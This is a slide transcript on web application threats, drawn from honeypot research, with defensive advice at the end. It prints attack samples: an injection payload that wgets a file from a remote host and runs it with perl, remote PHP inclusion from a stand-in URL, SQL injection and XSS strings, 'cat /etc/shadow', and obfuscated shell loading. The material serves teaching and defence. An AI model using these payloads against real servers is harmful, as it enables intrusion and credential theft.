Top Banner
Know your Enemy: Web Application Threats By PHANI ADUSUMILLI
53

Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Dec 26, 2015

Download

Documents

Meagan Holland
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Know your Enemy: Web Application Threats

By

PHANI ADUSUMILLI

Page 2: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Know your Enemy: Web Application Threats

Honey pot project and Research Alliance Primary Authors Brian Engert Michael Mueter http://www.honeynet.org/

Page 3: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Agenda

Why web applications are at high risk? Fundamentals of an Attack Trends in discovery techniques Exploitation trends Trends in Evasion and Anonymity Current Research Methods Protecting Web Servers Conclusions

Page 4: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Why Web applications are at high Risk?

Quality of Source code as related to Security. Applications ‘Complex Setup’. Web Applications immature code in terms of

Software life-cycle. Number of protocols used by web

applications. Unconstrained nature of user interface.

Page 5: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Why Web applications are at high Risk?

Open to global audience and extremely easy to find with the help of search engines.

Lack of proper scrutiny as that older applications and protocols have received.

Attacks written in a combination of a scripting language and shell commands, easy to buffer over flow attack .

Page 6: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Why Web applications are at high Risk?

Web servers are generally of high value to attackers. Server installation will typically have a faster

connection to the Internet than a home user's installation.

Web applications will usually have to interact with databases, such as lists of customers and their email addresses, or financial information.

Another reason attackers may choose to target web applications is as part of a strategy for gaining access to these databases.

Page 7: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Why Web applications are at high Risk?

Web applications are globally visible. Vulnerable hosts are very easy to find via

search engines. Exploits are relatively easy to develop . Web applications present a large and

attractive surface area for attackers. They may also provide a stepping stone into

more sensitive parts of the victim's network.

Page 8: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Fundamentals of an Attack

Code Injection. Remote Code Inclusion. SQL Injection. Cross-site Scripting (XSS)

Page 9: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Code Injection

Exploitation of a web application's interface to the underlying operating system resulting in the execution of arbitrary code.

$yourName = $_GET['name'];

exec("echo $yourName");

URL "application.php?name=Magoo"

Page 10: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Code Injection

"Magoo; wget 1.2.3.4/toolkit.c“ It would execute two statements within the

exec() function. The second statement is a malicious attempt

to download a file to the victim host.

Page 11: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Code Injection

If(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))

if (open(CONFIG,"|echo ;echo b_exp;wget http://10.0.26.26/libsh/ping.txt;mv ping.txt temp2006;perl temp2006 10.0.233.251 8080...";))

Page 12: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Remote Code Inclusion

include "$librarydir/utils.php"; It will include a PHP file into the currently executing

script. Some configurations of PHP allow the inclusion of

code specified by a URL rather than a local file name.

set $librarydir to a value such as "http://1.2.3.4/evilscript.php"

If the attack is successful the attacker gains control of the web application.

Page 13: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

SQL Injection

$sql = "SELECT * FROM users WHERE username=\'$username\' AND password=\'$password\';";

If the input is not validated correctly, it would be possible to set $username and $password to be "' OR '1'='1".

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1' ;

Page 14: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Cross-site Scripting (XSS)

Data is entered into an application which is later written back to another user.

It echoes the input back allowing the insertion of JavaScript code into the HTML page.

"<script>alert('XSS');</script>",

Page 15: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Trends in Discovery Techniques

Search-Based Strategies IP-Based Strategies Spider-Based Strategies

Page 16: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Search-Based Strategies

Majority of attacks on PHPShell honeypots were preceded by a discovery request which contained a referrer from a search engine.

Time-consuming work of finding potentially vulnerable systems has been done by the search engine .

Page 17: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Search-Based Strategies

Disadvantage to attackers of using search engines is the new single point of failure.

Example Santy worm Google started blocking Santy’s queries

which stopped the further spread of the worm

Page 18: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

IP-Based Strategies

Lupper worm The worm scans a sequential range of IP

addresses to see which, if any, were running a web server.

Worm attacks using several exploits that attempted to execute code on the server.

Page 19: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

IP-Based Strategies

It is relatively high cost per system infected in terms of search time and network resources .

IP scanning will not work for name-based virtual hosts.

It is a technique for hosting many websites on a single IP address that was introduced in HTTP 1.1

The request for a web page has to contain the appropriate hostname, such as 'www.example.com'

Page 20: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Spider-Based Strategies

High amount of traffic from spiders was observed.

Spider is a program which fetches a series of web pages for analysis, for example Google's and Yahoo's web crawlers.

Spider will announce itself as a spider in the 'user-agent' field of an HTTP reques such as 'Googlebot 1.0'.

Page 21: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Spider-Based Strategies

Spamming attempts received were caused by the presence of web forms on honeypot.

Search engines cannot be used to search for a form in a web site.

Spider or other parsing tool must have discovered honeypot.

Spam was immediately inserted into the form.

Page 22: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Exploitation Trends

Operating System commands Email Spam Blog Comment Spam Defacements Hosting Files Scanning Tools Botnet Recruitment Phishing

Page 23: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

HoneyPot

A honeypot is a trap set to detect, deflect or in some manner counteract attempts at unauthorized use of information systems.

It consists of a computer, data or a network site that appears to be part of a network but which is actually isolated, (un)protected and monitored.

It seems to contain information or a resource that would be of value to attackers.

Reference:http://en.wikipedia.org/wiki/Honeypot_(computing)

Page 24: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Operating System commands

The top 10 commands issued by attackers on the PHPShell honeypot are as follows:

1. 3251 times, 'ls' - Displays a list of files in the current directory 2. 1051 times, 'pwd' - Reports the current directory 3. 777 times, 'id' - Reports the current user 4. 619 times, 'uname -a' - Reports on details of the operating system and hostname 5. 600 times, 'w' - Reports on current users and the load the system is under 6. 556 times, 'ls -la' - Displays full information on all files in the current directory, including hidden ones 7. 543 times, 'ls -al' - Displays full information on all files in the current directory, including hidden ones 8. 386 times, 'dir' - Lists files in the current directory under Windows. 9. 363 times, 'cat /etc/shadow' - Lists the shadow password file, containing hashes of user's passwords 10. 353 times, 'cat config.php' - Displays the configuration file for PHPShell which contains usernames and passwords amongst other things.

Page 25: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Email Spam

15 attempts to inject mail into the web forms of honeypot.

The content is truncated to 255 characters. Email is submitted to a form which asks for a

command suggest of an automatic mechanism.

Page 26: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Blog Comment Spam

113 blog comments were received to honey pot.

The blogs are ranging from pharmaceuticals, mortgages, home insurance to shoes.

Page 27: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Defacements

500 attempts to deface PHPShell web site. Most of them are Chinese characters for

"summon" to overwrite the index file. echo This is Site Hacked [group name elided]

>index.php;

Page 28: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Hosting Files

Multiple attempts were made to download files which seemed to be done only for hosting purposes.

10.10.60.66wgethttp://censored.fr/explorer/AngelsAndAirwaves/Mp3z-It_Hurts.bkn.mp3

10.10.60.66wgethttp://censored.com/support/files/webdwarf.exe

10.10.138.108wgethttp://censored.br/ftp/Instala_MasterCaixa.exe

Page 29: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Scanning Tools

Attackers commonly downloaded and attempted to use a variant of pscan.

Pscan is an efficient port scanner that can discover hosts which are listening on a particular port.

Page 30: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Botnet Recruitment

12 attempts to install IRC bots to join various botnets.

A bot was connected to a channel on a public IRC server to which 387 other clients had already connected.

Vast majority of the bots supported commands for denial-of-service attacks.

Small botnet of around 400 Linux machines would have a great deal of bandwidth available to mount a DoS attack.

Page 31: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Phishing

Phishing is the practice of sending out fake emails, or spam, written to appear as if they have been sent by banks or other reputable organizations, with the intent of luring the recipient into revealing sensitive information such as usernames, passwords, account IDs, ATM Pins or credit card details.

Page 32: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Phishing

Bulk email lures to as many end users as possible whilst masquerading as a trusted brand.

Using IP addresses instead of domain names in hyperlinks that address the fake web site.

Attacker downloaded a similar phishing page for Orkut.

http://www.honeynet.org/papers/phishing/

Page 33: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Phishing

Page 34: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Attacks against a single PHP honeypot

Page 35: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Potential Consequences

Attacked system may become a tool for an attacker to inflict harm on other systems.

Liability issues Phishing sites are used for stealing identity

information. Files that are uploaded to compromised

hosts may be subject to copyright issues.

Page 36: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Potential Consequences

More serious violations of obscenity laws in the country the server resides in.

If the server is used to send Unsolicited Bulk Email (UBE aka 'spam'), the server may be placed on a blocking list and legitimate users of the server may find their email blocked by many Internet sites.

It is also possible that control of a website may be used to compromise computers that are browsing that site

Page 37: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Trends in Evasion and Anonymity

Proxy Servers Google Translate Onion Routing Script Encoding

Page 38: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Proxy Servers

Attackers to obfuscate their source address by having another server make the HTTP requests on their behalf.

About 6% of attacks were detected as using a proxy server.

Open Proxies: Open proxies allow anyone to connect to them.

This allows attackers to obfuscate their source address.

Page 39: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Google Translate

Google Translate service can act as a proxy as it translates websites for its users.

It will make HTTP connections to websites and relay them to the users of Google Translate.

Google Translate service now forwards the IP address of its users.

Page 40: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Onion Routing

Onion routing is a routing technology used to ensure the privacy of its users.

Each node only has partial information about the route of the packets.

Tor is an implementation of this concept. The honeynet was able to identify only 40

(.01%) attacks making use of the Tor service.

Page 41: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Script Encoding

Downside for attackers is that the source code is inherently public.

'r57 shell' employed multiple PHP functions to decode itself before running.

eval(gzinflate(pack("H*",'dd3cdb56e3ca72cf9bb5ce[...]cd95ff04')));

functions pack(), and gzinflate() decode the PHP code that needs to run, which is then sent into the eval() function.

This is a very trivial way of obscuring source code.

Page 42: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Current Research Methods

There are two honeypot technologies to respond to attacks against web applications.

Google Hack Honeypot PHPHop (PHP HoneyPot) These are extensively advertised. GHH honeypots were advertised using a

technique called "transparent linking".

Page 43: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Current Research Methods

Placing hyperlinks pointing to honeypot on other web pages.

Links are designed so that humans will not see them.

Visitors would be only using search engines.

Page 44: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Administrator should keep an inventory of what applications are on the web server and maintains patch levels for all of them.

Host-based Intrusion Detection System should be installed.

Mod_security for the Apache web server may be used to block certain common attack vectors, such as "wget" and "curl" appearing in GET and POST requests.

Page 45: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Application proxy can be deployed in front of the web server to filter out some of malicious requests.

Host Intrusion Detection System (HIDS) program such as Tripwire may be used to monitor the integrity of critical system files.

Page 46: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Correct configuration of web servers such as Apache and scripting languages such as PHP is also crucial.

register_globals should be specifically initialized by developer.

allow_url_fopen configuration directive should be disabled if possible as this prevents remote code-inclusion attacks.

Page 47: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Rigorously validating all input they receive . Where 'include' statements exist in PHP there should

be no way for an attacker to control the name of the file being included.

If input is going to be echoed back to the user, the application must take care that Cross-site scripting (XSS) attacks cannot occur.

Disallow or escape '<' and '>' characters to prevent the attacker from entering JavaScript code.

Page 48: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

SQL operations should be in the form of prepared statements so that data is treated purely as data and does not have the chance to become code, as it does in an SQL injection exploit.

Page 49: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Network Intrusion Detection System is used which should alert the administrator to events such as connections from web servers to an IRC channel outside the organisation.

Administrators should be responsive to the postmaster and abuse email addresses at their domain, which often provide rapid warning of incidents in progress.

Page 50: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Protecting Web Servers

Open web application security project. http://www.owasp.org/index.php/Main_Page SANS top 20 vulnerabilities http://www.sans.org/top20/#c1 Essential PHP Security by Chris Shiflett and

published by O'Reilly press.

Page 51: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Conclusions

Quality of the code is often rather poor . Attacks can often be performed using PHP

and shell scripts, which are much easier to develop.

Search engines provide a very easy way for attackers to locate vulnerable web applications.

Page 52: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

Conclusions

Web servers present relatively high-value targets for attackers since they are more likely to have higher bandwidth connections.

Volume of existing code, and the amount of new code being written are causing number of vulnerabilities.

Page 53: Know your Enemy: Web Application Threats By PHANI ADUSUMILLI.

References

http://awstats.sourceforge.net/ http://www.securityfocus.com/bid/10950/disc

uss http://labs.idefense.com/intelligence/vulnerab

ilities/display.php?id=185 http://www.cgisecurity.com/articles/xss-

faq.html